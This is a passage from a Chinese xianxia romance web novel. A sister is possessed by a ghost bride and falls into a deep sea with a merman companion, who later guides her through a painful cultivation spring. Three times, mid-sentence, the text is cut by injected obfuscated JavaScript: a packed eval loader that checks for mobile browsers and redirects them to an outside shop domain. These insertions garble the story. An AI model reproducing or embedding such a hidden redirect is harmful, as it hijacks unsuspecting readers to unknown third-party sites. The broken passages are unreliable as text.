定然会成为街头巷尾好事之人茶余饭后的谈资笑料,说不定还会被一些只会写酸诗的文人墨客好一番歌颂传唱,谩骂和讥讽声虽有,但届时刘家人也再不敢轻易对她们下毒手。 毕竟,拆散一对有情人,夺了一个读书人的妻子,怕是会引起那些惯常爱做梦,梦到仙女倒贴的文人不满。 此举虽冒险,粗劣幼稚,也不一定能成,但眼看着就要没命了,就算是负隅顽抗也要抗一下! 只是未料到袁书生竟早已被主母派人收买,依如今的情况推测,无论这鬼新娘当初有没有真的出逃,她们主仆二人后来的结局估计都不好。 也许在潜意识中,这柔弱的闺中小姐已然将贴身侍女当成了自己唯一的依靠,给予信任,才会用着侍女的身份,一遍遍在这幻境中重演生前的不甘。 “你说什么!” 刹那间,那女鬼浑身怨气暴涨,容颜变换,只眨眼的功夫,一袭染血的嫁衣,似火燎原。 林扶摇横剑拦于林见微身前,手持镇煞盘,盘上指针疯狂转动,强压下这满园煞气,分毫不退,语气似淬冰,“世道不公,可人心向背,你若不甘,便该谋划掌权,狠狠报复回去。” “就是就是。”林见微忙不迭附和,一双星星眼,只觉林扶摇挡在自己身前的形象高大伟岸,“我们是闯入了你的地盘,但也算帮你报复了刘诚,看他遭殃,你就说爽不爽吧。” 鬼新娘猛然向两人攻来—— 林见微牢记苟命方针,连连后退,将战场让出来。 周遭黑压压一片,不知何时大雾四起,连林扶摇手中燃着的符箓也熄灭成灰,只看得见她剑光如雪,飒踏利落,光影闪烁之间衣袂翻飞,已然与那女鬼缠斗到一起。 选了个不远不近的距离,林见微安心靠在墙根底下观战,灯影摇晃,折腾这么一大晚上,她早饿了,便默默从储物袋中取出一颗灵果啃起来。 “咔嚓咔嚓——” 她吃得正香,刚要摸出第二颗要放到唇边,忽觉阵阵阴风从四面八方刮过来,刮得她一激灵。 等等,四面八方? 回头一看,背后那一堵惨白的墙竟然已消失不见! “见微!”林扶摇追着那已是垂死挣扎的女鬼,剑气破空而来。 “啊?”林见微一怔,刚一回头,顿觉一股寒意阴森刺骨,直冲头顶,那即将被打散的女鬼竟然上了她的身!便如贴在皮肉上一般黏腻冰冷。 “哈哈哈哈哈哈……”女鬼笑声如泣如诉,似贴在她耳畔一般,痴笑,嗔怪,娇.吟,仿佛有万种风流,千般意味,“你们姐妹二人,感情倒是好,那不如奴家……便送两位仙子一份大礼吧。” 林见微也生出三分火气。 好好好,一人一鬼打得好好的,非要针对她是吧,挑软柿子捏是吧?她现在可不是什么普普通通的凡人,努力修炼这么久,她也是有修为的凡人! 还能让一个将死的女鬼上身不成! 眼见着林扶摇手中的镇煞盘金光闪闪,飞身迫近要来帮她,林见微双手飞快掐诀,刚把这女鬼赶出身体去,谁知刹那间,身体整个失重,猝然向下坠落—— 啊?不是? 一声惊慌失措的尖叫划破夜空。 恰此时,林戈一行人解决完了大堂中的鬼尸,正好赶过来,便看到林扶摇两手抓着法器,剑气凛然,直逼林见微面门去,而林见微身影一晃,一声惊叫过后竟直接消失不见! “小妹!”林戈飞快赶上前去。 常潮生心下一紧,刹那间头脑眩晕,便被一种熟悉到令人心悸的恐慌感包围,顾不得其他,几乎是榨干气血,调动了全身妖力,循着护心鳞的位置,穿破空间,直追而上—— 骤然落入一片虚空,却紧紧抱住了那一抹人影。 …… 长夜寂寂,大雾消散,四面是空旷的风,呜啦啦吹拂过丛林怪石,树影摇晃,灯火朦胧,常潮生随着林见微一同消失,只剩下众人面面相觑。 “林扶摇,你……” “与我无关。”林扶摇手腕一翻,利落收了剑,眸光冰冷,一扫过,便有一半的人自发站到她身后,两方又呈分庭抗礼之势。 “我若是有心要对付她,还用不上这么低劣的手段。方才是女鬼上了她的身,我赶去救她,如今她应当是被女鬼施法传送到了秘境别处。” 林戈深呼吸一口气,也冷静下来,率先低头,“是兄长失言。” “无事。”林扶摇眸光淡淡,顺着台阶下来。 林戈取出玉灵符,试了几次都联系不上林见微和常潮生,想循着玉灵符的位置追索两人踪迹,遍寻不到,这一下子断联断了个彻底。 周围众人也纷纷试了试,无果,皆一脸沉重。 这走丢了谁不好,非走丢队伍里实力最差的两个!其中一个还是林氏小姐! “林兄不必过于担心,二小姐为人机灵,胆大心细,身上还揣着不少法器,定然不会出什么问题。”高定之收起玉灵符,心里倒没有多着急。 毕竟,他之前送给林见微的见面礼可是罕见的防御型法宝,万年的王八壳子,经由炼器大师加固改造过,刀枪不入,水火不侵,阴煞之气皆无法奈何,躲在那里面熬到秘境关闭应当不是难事。 “罢了。”林戈轻叹一口气,一时之间别无他法,只能期待后面在秘境中还能碰上,至少那两人待在一起,相互照应,勉强让他放心。 鬼新娘已死,由她的怨念构造而出的幻境便也点点瓦解,支离破碎,只呼吸之间,天上风云变幻,迷离的日光刺破阴森幽冷的夜,白雾又起。 方才他们于堂前斩杀成群鬼尸,顺手得了几样法器,林戈将法器亮出,按照众人出力多少分配好,林扶摇杀了鬼新娘,便分得了之前那黑袍道长手中的桃木剑,辟邪除鬼,实力不俗。 “幻境已破开,秘境浩瀚,剩下的路,扶摇便不与兄长一道了。”林扶摇收了桃木剑,微微拱手,仙姿玉容,亭亭而立,礼数言谈皆滴水不漏,只是眉宇之间再无昔日的温容收敛。 “也好,一路保重。”林戈点点头,“小妹性子跳脱顽劣,若路上碰到,别忘了照拂一二。” “见微也是我的妹妹,扶摇自然不会忘了她。”林扶摇淡淡一笑。 自此,两队人马分道扬镳,各自深入秘境之中探索,也是为了找人。 …… 另一边。 林见微刚觉浑身失重,尖叫出声,慌乱中听到林戈的声音,谁知下一刻便被人抱了满怀,熟悉的冷香扑鼻而来,她一脸撞进一个坚实的胸膛,撞得头晕眼花。 “常,常潮生?你怎么来了?” 周遭一片黑,即使什么也看不到,她也将他认了出来。 “契约。”常潮生压低了语调,呼吸喷洒,声音虚弱,一双手臂却紧紧箍住她的腰,生怕周遭混乱的气流将两人冲散,“抱紧。” 发动契约之力穿破空间,妖力耗损,透支太过,只说了两句话,渐渐便觉胸口泛起一阵生涩的痛意。 林见微已被周遭强悍的气流吹得七荤八素,恨不能化身八爪鱼缠到人身上。 “啪——” “咕噜——” 两人齐齐坠入一片汪洋深海中。 海水刺骨的冰冷,林见微顿时清醒,心脏差点跳出胸腔,紧闭双目,慌乱屏住呼吸,常潮生低低笑出声,单手扣住她的后脑勺将人圈在怀中,缓缓安抚,“可以呼吸。” “啊?咕噜咕噜——” “真的可以唉,还能说话,也是契约的原因对不对?你是鲛人,所以我现在也能在水里呼吸了。” 林见微一脸惊诧,睁开眼,便是一片片柔美宁静的水蓝色,梦幻又唯美,囫囵拉开些距离,仰起脸看他,便见水纹荡漾中,少年青丝飘逸,似海藻又似雾气,更衬他皮肤白皙细腻,眉眼间媚气横生,却又平添三分不可向迩的神性。 一时竟将她看痴了。 两人急速下坠—— 仿佛要落入不见天日的无底深渊。 “唉,等等,我们怎么还在往海底下坠?能不能游上去?” 常潮生闭了闭眼,几 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14044979|147461||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 乎要脱力,“恐,恐怕不行,秘境在拉着我们深入。” “你怎么了?” 林见微一惊,眼睁睁看着他唇边溢出的血融进漫无边际的海水中,“怎么吐血了?是不是杀鬼尸的时候受了伤,那你怎么还敢追上来?” 说着,她连忙调动周身灵力查探起他体内的伤势,不看不知道,一看顿觉心惊肉跳,飞快取出丹药囫囵塞进他口中,眉头紧蹙。 指尖碰上的柔软的唇瓣,一触即分。 “怎么会伤得这么严重,杀鬼尸的时候有大哥他们在,你应当出不了多少力……” 她顿时回过味来,按理来说,常潮生是跟着大哥一起过来的,按照修为高低,林戈都没能追上来,常潮生却来了,定然是使用了什么跟鲛人族契约有关的法子! “是你催动了护心鳞来找我是不是?” “无事。”常潮生紧紧攥着她的手腕。 渐渐地,周围的海水由碧蓝渐变成墨蓝,再到深黑,两人还在向下坠落,无法自控,只觉周身被一股神秘的力量拖拽着—— 堕入深渊。 “你真是不要命了?上次你拔护心鳞也是这样!怎么这么不惜命?” 林见微又急又嗔,可事已至此,别无他法。 越向深海坠落,反常的,这水流搅动愈发厉害,强悍暗涌卷起旋涡,直往两人身上撞,她连忙抱紧了他,不知不觉间海水温度也反常地上升,滚烫到了让人难以忍受的地步。 林见微手中掐诀,隔开漫天潮水,蓝色的火光于指尖跳动,只照得见常潮生唇上血色尽失,她也顾不上跟他理论,忙将灵识探入储物袋中,快速翻出一件防御性法器。 墨绿色的乌龟壳子变大,她抱着人快速遁入其中,两人并排紧靠在一起趴着,头和四肢都缩在龟壳里面,隔开了外面滚烫的海水,顿觉轻松不少,就是乍一看还真像极了缩头乌龟。 此时两人已出了之前那个女鬼的幻境,便换回了自己的衣裳,林见微快速掐诀烘干衣料上的水,看他实在伤重,忙将手探上他的额头,“常潮生,你没事吧?” “没事。”少年闭上了眼,少女的手纤弱柔软又温热,撩人而不自知,服下的丹药发挥作用,胸口生涩的痛意渐渐被压下。 “方才,林扶摇想伤你,是吗?” “啊?怎么可能。”林见微忙否认,“是阿姐跟女鬼斗法,我本来好好的躲在墙根下面看,谁知那女鬼忽然过来附我的身……” 说着,她顿时反应过来,心中暗道不妙,林扶摇不会要这么背上一口黑锅吧? “你们赶过来时看到的是她想对我下杀手?” “嗯。” “啊,真是天大的误会……”林见微哀嚎一声,只期望自己和常潮生能苟到与大部队会和,现在只能先委屈林扶摇先等一等了。 “不用担心,她不会吃亏。”常潮生笑笑,抬手挽起她脸侧凌乱的碎发,别到耳后,“你没事就好。” 林见微语调嗔怪,便向他飞去一个无语的表情,一把拍开他的手,还没忘狠狠在他胸口捶了一拳,好出一口恶气,“我当然没事,现在有事的是你好吗。” “我是不是早跟你说过,不要拿自己的命开玩笑!你还这么莽撞地追过来!” “咳咳——”常潮生笑着咳嗽两声,身体抖动,下意识将她的手摁在胸口,便听心跳如擂,思绪乱飞,好像身上得痛感都消退无踪。 没有缘由,只是那一刹那。 那一刹那,他被一阵剧烈的恐慌包围。 他不想跟她分开,一刻也不想,眼睁睁看她离开自己,孤身流落在外,就好像,好像她曾经一去不回,彻底消失。 …… 倏然,天旋地转。 林见微一惊,指尖火苗熄灭,眼前一片蒙昧的黑,能视物,但看不清晰,龟壳不知道被卷入了哪一道潮涌旋涡中,四处冲撞,砰砰作响。 所幸这法器的减震和防御效果十分好,两人在其中倒没受皮肉之苦,就是难免被摇晃得头晕目眩。 “天老爷,我们到底被传送到哪儿了……”林见微手忙脚乱,竭力撑着龟壳内壁,勉勉强强稳住身形,重新燃起火。 “啪。”常潮生飞快合上手掌将她指尖的火苗捂熄,眉眼凌厉,双眸中掠过一抹水蓝色寒芒,紧接着将人牢牢抱在怀中。 “嗯?”林见微正是一头雾水时,下一刻,龟壳剧烈翻滚,似是被藏在黑暗中的庞然大物如踢球般一脚踢飞,只听得沉闷一声撞击,水波排山倒海,两人便如被关进了启动中滚筒洗衣机一般,分不清东南西北。 “轰隆——咚咚——” 沉闷的声响由远及近,仿佛从地底深处传来,声波一圈圈向外荡出涟漪,卷起无数的漩涡。 地动山摇。 林见微下意识一抖。 海底,地震? 这么刺激?直面大自然的残酷?虽然修士有移山填海之能,但他们俩小菜鸡目前还没有吧?这怎么玩?就算脱离了主角团,也不至于要把她往死里整吧? 36.渡过旋涡 “没事,是海兽夔围。”常潮生压低声音,暗夜之中,他皮肤上细细密密冒出一层水蓝色的鱼鳞。 熟悉的黑暗,熟悉的海水,还有,鼻尖萦绕着的熟悉的海洋生物的气味,耳畔回响的阵阵只有水中生物才能听见的音波,只一刹那,便唤醒了他镌刻于骨子里的猎食者本能。 “等他们找不见光源,便会重新陷入沉睡。” 林见微闻言心里咯噔一声,颇为心虚,“嗨,你说我刚刚点什么火啊,手快了手快了。” 常潮生不言,手中掐诀,灵力便悄无声息如涓涓流水,筑成软韧的屏障,填充在这并不宽大的空间里,缓缓将两人包裹住,减轻冲撞。 被唤醒后,一群如小山般庞大的海兽追逐奔袭,相互撞击厮杀,吼声阵阵,龟壳在这一通混乱中被踢打抛掷,急速翻转,一遍遍撞上海山海岭,溅起海底浮尘阵阵,遮天蔽日。 有好几次林见微都差点以为他们要被埋进海底的碎石中,谁知下一刻那些海兽便卷土重来,固执地想要找回那一闪而逝的明亮光源。 两人老老实实缩在法器里,安然无恙。 “你灵力还撑得住吗?它们还要打多久?” 林见微单手拖着下巴,双目炯炯有神,在黑暗中也勉强能看清近处的东西,便见常潮生额头上细密的鳞片和耳朵处鱼鳍似的薄膜缓缓消退,顿时一脸惊奇。 相处这么久,虽然知道常潮生是鲛人,但还没见过他变出鱼尾和鳞片的样子。 等过了眼前的难关,她一定要瞧个究竟! “没事,丹药很好。” “真的假的?”少女一脸狐疑,到底没按捺住好奇,手指触摸上他脸侧细小的鱼鳞,坚硬且滑腻,只一刹那,鳞片立马消失,重新变作光滑的皮肤。 “你鳞片都冒出来了,是不是伤得太重,一会儿就该现出原形了?” 常潮生闷笑一声,倏然攥住她毫不知安分的手,眼帘向下,掩去其中一闪而逝的暗芒,嗓音低缓喑哑,“鲛人的鱼鳞……可是不能随便摸的。” “你想试试吗?” “啊……”林见微讪笑一声,默默抽回手,便塞了一颗灵果到他手中顺带转移话题,“你饿不饿,先吃点东西垫垫,一会儿指不定碰上什么。” “这时候你倒还有胃口。”他接下,从善如流。 果皮表面似乎还残留着少女手心的温度,这一方狭窄的空间里,两人紧靠在一起,淡淡的甜果香气与少女衣裙上沾染的熏香混合在一起,润物细无声,却又刺痛了他的嗅觉,教人难以忽视。 法器之外,地动山摇,暗涌滔天,便是两耳轰鸣,掩去了如擂心跳。 久久不得平息。 “那当然。”林见微翻了个身,又啃起灵果,“反正现在也出不去,先等外面的海兽跑累了再做打算吧。” 她方才已试探过,法器之外,海水滚烫炽热,但这些奔袭厮杀的夔围丝毫不受影响,简直奇特,但在这人都能修仙的世界里,海中凶兽奇特一点也正常。 常潮生也吃起了果子。 法器又撞上一堵石壁,响声震天,林见微身形微微一晃,连忙稳住,摸了摸光滑且坚硬的龟壳内壁,啧啧称奇,“还好有这法器在,不然咱们可要老遭罪了。” 先不说那些发狂后四处攻击的夔围海兽,就单单是无孔不入的滚烫海水,以及剧烈翻涌到仿佛能将人撕碎的深海旋涡,若是撑着灵力在这水中活动,也是够呛。 常潮生闻言一怔,“这法器是?” 他记得自己从未在万珍阁中见过防御性如此高的法宝。 “就是临出发那日,高公子送的见面礼,本来只是巴掌大小的一个。”说着,她伸出手比划了一下大小,“注入灵力之后就能变大,而且还不用一直耗费灵力维持运转,简直是出门在外苟命必备神仙法宝,也不知道是哪个天才炼器师打造的。” 话音落,常潮生连果子也不吃了。 法宝中只听得见林见微如仓鼠一般弄出咔嚓咔嚓的响动。 “这么看来,我倒是个拖累。”他语带三分讥笑,“该让高公子来陪着你。” “唉?”林见微一顿,抬手擦了擦嘴,“也不能这么说吧,你冒险追着我落到这里,心意也是好的,况且你是鲛人,对这海底更熟悉些,我们互帮互助,肯定能安然脱身!” 常潮生闻言脸色更阴翳三分。 林见微见他不言语,以为他不信,连忙继续安慰,“我都不计较你拿自己的性命不当回事了,只要我们安心苟在这法宝里,一定能活下去的。” “呵。”他抬手轻捂住她喋喋不休的口,耳侧鱼鳍又冒出来,一双如渊般深邃的眸子里寒芒乍现,凶性毕露,“我们该走了。” “怎,怎么了?”林见微心里一紧,忙握住他的胳膊,还能触摸到衣料下紧绷的肌肉,自己便也跟着紧绷起来。 “去秘境深处,搏一把。”说着,他手心灵力流转,覆盖上法宝内的机关,便操纵着龟壳飞快穿梭于上百只庞然海兽之间,“总不能空手而归。” “啊?好,好。”林见微定了定心神。 原以为是又有什么突发状况,面临未知的危险,原来是常潮生要主动去寻宝啊,那没事了……嗯?等等,秘境深处?搏一把?该不会是常潮生获得机缘的位置吧? 这一思索,她顿时头脑清明,赶紧查看起自己身上的装备来。 进这寒雾山秘境,因常潮生的缘故,她是随心而动,乘着神辇就追来了,准备不周,后来还是林扶摇和林戈二人塞了好些东西给她,大抵也够用。 周遭黑茫茫一片。 她不知道常潮生到底是怎么看路的,只知两人安然身处其中,法器便如游鱼一般轻盈,飘飘然无声掠过阵阵水纹,踩着凌乱而沉闷的轰鸣声,潜入无边暗色。 林见微握住他的手,指尖泄出灵力,缓缓渡入他体内,共同稳住这法器,直到二人都快精疲力竭时,终于摆脱了巨型海兽的追逐,逃逸出了它们的活动圈。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14068755|147461||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下一刻,法器瞬间被卷入一股旋涡。 林见微恹恹的,头脑昏沉,体内灵力枯竭,连忙吞下两粒丹药给自己回血,便听龟壳之外,刀枪剑戟声不绝于耳,铮然铿锵,撞得法器嗡鸣作响。 “我去……”她循声看去,只见到幽暗旋涡中神兵利刃飞天遁地,无孔不入,模模糊糊的影子氤氲在水色里,更辨不清方位,看不清招式,顿觉脊背生寒,啧啧感叹,“这要是没有法宝傍身,肉体凡胎去抗,不得被戳成筛子?” 越说她心里越没底,连忙取出几张防御符箓贴到龟壳上,动作麻利,贴得整整齐齐,严严实实,好给法宝再加固一下。 常潮生也服下两粒丹药,神色淡淡,“你累了便睡会儿吧,我守着你。” “这怎么行?万一后面还有什么危险……” “没事,不会再有了。” “你怎么知道?”她挠挠头,一脸莫名。 旋即心中大骇,觉都醒了大半,忙埋下头掩饰去惊疑不定的神色,总不能是大反派也重生了?小说里可都喜欢这么写啊! 常潮生闻言一愣,脑海中似乎有什么东西一闪而逝,却让他捕捉不到,只能如实回应,“直觉。” “真的?”林见微眯了眯眼,侧过身打量他,誓要在这昏暗的空间里从他脸上找出几分不同寻常的端倪,自然一无所获。 常潮生以为她在问睡觉的事,顺手递出了一张软和的毯子,“睡吧,有我在。” “好吧,那我先眯一会儿。”林见微三两下扯过毛毯,抖落开盖在身上,刚觉得脖子不舒服,常潮生又颇为贴心地递上了枕头,安放好位置。 她阖上眼,乏意上涌,想着常潮生的反应,不像是重生而来,也许是鲛人族在海底有什么特殊感应吧……想着想着便沉沉睡过去。 龟壳中的空间狭而长,两人并不能坐起来,枕头枕在林见微脑袋下,也横在常潮生面前,他睁着眼,眸光幽深,落于那如雨斜飞的刀剑上,凌厉迫人,威压甚重。 外界地覆天翻,他只掐诀替她隔开外面吵闹的噪音,却仿佛连自己这一方世界也一同寂静下来,静得,耳畔似乎只能听见身侧少女轻轻浅浅的呼吸声。 如此这般,好似两人同榻而眠。 心湖中,风乍起,吹皱一池涟漪。 …… 林见微这一觉睡得不长,身下的龟壳硬邦邦的,硌得她不舒服,半梦半醒之中神思昏沉,迷迷糊糊中隐约觉察到一道目光……紧锁着她,追上来,缠上来,好似怎么甩也甩不开。 只差一点点,就要拉着她堕入无底深渊。 猝然惊醒。 常潮生飞快收回视线。 “做噩梦了吗?”他嗓音轻缓,眸光缓缓移动,仿佛是漫不经心的一眼。 林见微稳住心神,梦里那股心悸的感觉渐渐淡去,她便也没放在心上,长呼出一口浊气,“没有,就是龟壳太硬了,睡不舒服。” 抬眼向外看,天光大亮,漫天兵刃已消散无踪。 37.鱼,鱼尾巴? “嗯?外面天亮了?”林见微稍稍撑起身子,翻身趴下,探出脑袋向外看。 头顶上是明晃晃一片亮堂的穹宇,似乎在这海底重新建造了一方天地,极远处,浅蓝渐变成深蓝,遥遥落入无尽黑渊, 正前方,琼楼高耸,殿宇恢弘,孤零零矗立在这无人之海,皎洁、华丽又璀璨,被一片幽邃蔚蓝的朦胧水纹包裹,恰似上古神祇无意间遗落于人世的斛珠。 “我们出去看看。”说着,她探查过后确认安全才收起了法器,龟壳缩小至手心大,稳稳落入她掌中,乍一看还以为是什么用以装饰桌面的精致摆件。 “走吧。”常潮生握住她的手,一步步向前。 无数五彩斑斓的游鱼从二人身侧掠过,林见微下意识伸手,却见鱼尾一甩,荡起层层水纹,快速没入周遭一丛丛繁茂的珊瑚林中。 浅粉,深紫,金黄,碧绿,珊瑚丛形态万千,头顶落下温润柔和的白光,将每一片昳丽无边的梦幻丛林照得纤毫毕现,似画卷徐徐铺开,堆砌起无数游曳变动的光斑,星辰点点,神秘又浪漫。 直看得她目不暇接,神游天外。 常潮生止步。 仰头看琼宇,大殿门前横挂一块玉匾,笔走龙蛇,只书“般若”二字,便似蕴藏有浮华万千,黄粱一梦。 “进去吗?”林见微回过神,也瞧着那牌匾,刹那间,只觉头晕目眩,眼前一派浮光潋滟,数不清的思绪飞速掠过,可不过扎眼的功夫,浮华散去,神智清明,什么也没抓住。 常潮生手指一紧,淡声应下,“进。” 殿门推开。 豁然开朗。 宫殿墙壁晶莹剔透,由万年凝聚的寒冰玉髓雕琢而成,光晕层层,空灵缥缈,水纹荡漾中,被镶嵌于其上的七色琉璃珠折射出斑斓陆离的光影。 似梦似幻。 琼楼玉宇,叠叠层层,错落有致,通天的梯子旋转着攀援向上,连接住尖锐的吊顶,珊瑚为骨,珠玉为饰,帷幔轻摇,勾勒出一场绮丽的大梦。 两人比肩向前。 止步于一泉池水旁。 林见微左右打量,一头雾水,谁这么奇葩,居然在大殿刚进门的正堂里引一池灵泉啊?而且这一泉池水沿着墙壁开凿,没有留出小径,只有掠过池水,才能深入殿宇,沿着楼梯向上,探寻宝物。 “走吧。”常潮生牵着她向前走,迈脚踩着向下的阶梯,踏入泉水中,“这池水世间难寻,可以通经伐髓,重塑体质和经脉,快下来。” “这么好?”林见微心头一喜,也跟着下水。 “啊啊啊啊啊——” 泉水刚没过一只脚的脚踝,她飞快连滚带爬回到岸上,手脚并用,好不狼狈。 缓了好一会儿才一脸不可置信,“这?这么痛?” 刚刚她差点以为自己的脚被人拿刀砍断了,若是泡在那水里,跟全身上下不打麻药就直接手术开刀有什么区别?! “快下来。”常潮生已站到池子底部,泉水淹没到胸口,朝她伸出手,“你不是一直觉得杂灵根修炼起来太慢。” “啊不!”林见微连连摆手,飞快向后退,生怕被人强行拽下水去,“我觉得知足常乐,能修炼也不错了!勤能补拙,也不要操之过急!” 修真界还是太残酷了,呜呜。 泡在这水里,跟受凌迟之刑,被千刀万剐有什么区别? 受不了受不了。 常潮生一顿,依旧没有收回手,眉眼氤氲在蒸腾向上的雾气里,因着痛极,竭力隐忍着,脸侧的皮肤还是冒出点点淡蓝色的鱼鳞光斑,美艳似月下礁石上吟唱着不知名曲调的海妖。 诱哄着,“不痛,你下来。” “痛不痛我能不知道吗?”林见微早被刚刚那一瞬间的千刀万剐剐清醒了,才不吃他那一套,“你你你,你自己先泡着吧,我在岸上等你。” 常潮生神色淡淡,双眸却已于悄然无声中变幻成水蓝色,愈发美艳,愈发诱惑,便似浮华万千中波光潋滟,浮光掠影,只是那么看着她,便足够引人沉醉。 “真的不痛,不信你伸手试试。” “真,真的?”林见微看他神色笃定,也不知是不是被美色迷惑了双眼,脑子一昏,真靠近了,趴在池子边缘,小心翼翼伸手出去—— 常潮生攥住她的手腕,牵着她,指尖暗暗催动妖力,旁人看不见的契约之力在二人之间流淌,相互牵引着,聚散扑朔,紧紧将他们缠在一起。 密不可分。 少女全无所觉,伸出食指,落到水面,一触即分,只留下痕迹浅淡的涟漪一圈圈向外扩散。 “嗯?好像真的不痛?”林见微一脸惊奇,又试了试,还是不痛。 便大着胆子,伸手捞起一汪池水,搅得水波荡漾,水滴叮咚。 “下来吧。” 常潮生牵着她,林见微还是心有余悸,试探着伸出脚,踏入水中,只感受得到一片柔软舒畅的温和,充裕的灵气沿着肌肤渗透进入经脉骨髓,舒服得她想原地在池水里滚两圈。 “怎么刚刚还痛,现在就不痛了……”她嘟哝两句,一脸狐疑,便眯着眼,审视起身边的人,“是不是你做了什么?” “呵,屏蔽痛感,不过一个法诀的事。”常潮生轻笑一声,忽然凑上来,从背后将人揽入怀中,双目轻阖,睫毛不住颤动。 双倍剧痛加诸于身,直令他额头上冷汗岑岑,手臂上青筋暴起,又淹没于水中,不露丝毫痕迹。 背贴在少年胸膛上,严丝合缝,周身水雾弥漫,平添三分旖旎,林见微颇为不自在,微微一挣,没挣脱开,温热的呼吸喷洒到脖颈间,便听头顶声线低哑,“运转灵力,专心修炼。” “好,好。”她愣愣点头,忙不迭合上眼,凝神感知,汹涌澎湃的灵力似携雷霆万钧扑面而来,冲撞奔袭,仿佛要将她碾碎,可一触及,化入体内,便似春日酥雨,润物无声。 珠流璧转,云逝水流。 再睁开眼时已是十日后。 林见微脑中一片空白,竟然是在不知不觉间就这么睡了过去,此时通体舒畅,神清气爽,浑身仿佛有使不完的劲,修为甚至在不知不觉中直接有了突破。 身后,少年仍旧紧紧抱着她,背靠在池子边上。 她身形一动,轻易便挣脱开了桎梏,便听身后哗啦一道巨大的水声,常潮生竟然直接栽倒进了池水中! “唉?你没事吧?” 她飞快转身,手忙脚乱将人从泉水里捞出来,自己先翻身上岸,双手使力,这才架着他的两条胳膊将人从水里拽上来。 顿时一脸惊愕。 鱼,鱼尾巴? “常潮生,你醒醒?” 她伸手拍了拍他的脸,只见少年赤.裸.着上身,青丝散乱,双目紧闭,眉头紧锁,睫毛扑闪扑闪不住颤动,似乎在极力忍耐着什么,脸侧小片鱼鳞亮闪闪的,荧光微弱,便添三分脆弱,愈发惹人怜爱。 因她的动作,周遭水流搅动,乌黑柔软的发丝散漫招摇,如海藻一般,半掩在精致白皙的锁骨上,黑白相间,丝丝缕缕,又遮去他殷红的嘴唇。 鱼尾上鳞片闪闪,直蔓延到腹部以下,宽大的尾鳍半垂落于池水中,昳丽无边。 指尖掐诀,她探了一道法诀进入他体内,并未觉察出什么异样,反倒能感觉出他此时经脉通畅强劲,周身灵力充足。 “常潮生?” “没事。” 少年眼睫扇动,似是被惊醒,睁开眼,便是一双湛蓝似无边星河的眸子,幽暗深邃,如清云半掩的寒月,美不胜收。 “你怎么晕过去了?感觉怎么样?”林见微暗自松口气,没忍住笑道,“尾巴都出来了,现在可真是原形毕露。” 常潮生坐起身,三千青丝逐水而动,阖上眼,指尖掐诀,妖力于体内流转一圈,依旧有些滞涩,看来这一副躯体的潜力尚未被发掘到极致,还需在池子里多待一段时间。 林见微也不扰他,目光扫过那长长一条鱼尾,怀着好奇的心情,细致描摹过一寸一寸的鳞片,水色的蓝,但从某些角度看去,又能看到彩虹般绚烂的光晕。 只是看着看着,便觉得这鱼鳞的形状…… 有些眼熟。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14085736|147461||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>想起来了! 这鱼鳞的形状很像当初她在永夜城给旺财治腿伤的时候,那些伤口痊愈之后留下的疤痕! 虽然当时旺财腿上几乎没有一块好皮,血淋淋的,但悉心照料下,皮肉痊愈的速度不太一样,便能看出伤口有深有浅!痊愈之后,疤痕坑洼…… 就,非常像这鱼鳞的形状! 只是当时她并未多想。 “好看吗?”常潮生掀起眼帘看她。 明明是平淡的语气,愣是让林见微听出了几分威胁的意味,惊得她后退一步,面上讪讪,“哈哈哈哈,还,挺好看的……” 常潮生却早捕捉到方才她面上片刻的失神与思索,骤然攥住少女手腕,鱼尾在漫天水流中搅动起旋涡,欺身迫近,将人牢牢禁锢于身下,“怎么,看到这鱼尾,又让你想起了那个鲛人?” “没没没。”林见微一脸惊恐,伸手想将人推开,却没推动,半推半攘间白皙柔软的双手在鲛人漂亮的肌肉上摸了好几把,直撩拨得他尾鳍不自觉游曳翘起,卷起水纹阵阵。 两人发丝交缠。 浮漾,勾连,似浑然一体,凌乱挥洒,又密不可分。 “别乱动。”他哑了嗓音,眸色更幽暗几分。 林见微缓缓收回手,规规矩矩交叉安置在胸前,抬眼看他,对上他极具侵略性的一双眸子,满脸是老实巴交的无辜,“那,那你先起来……” 话音落,却听少年轻笑一声,抬手覆盖住她额头,掌心中一片温热,涓涓灵力小心游走过她通体经脉,便查探出她这一身体质已淬炼到极致,没必要再继续了。 收了手,鲛人鱼尾一摆,重新落入池水中。 罢了,既是失散的故人,他总会想到办法让他永远不再出现。 来日方长。 林见微长长呼出一口气,可怕,实在是太可怕了。 莫非旺财当初便是被人一片片拔下过鱼鳞……这得是多大的仇怨啊?难道,真是眼前这大反派做的?旺财真有可能得罪过他? 算了,还是得快点把人找出来! 万一两人真有仇怨,她可得早点从中调和。 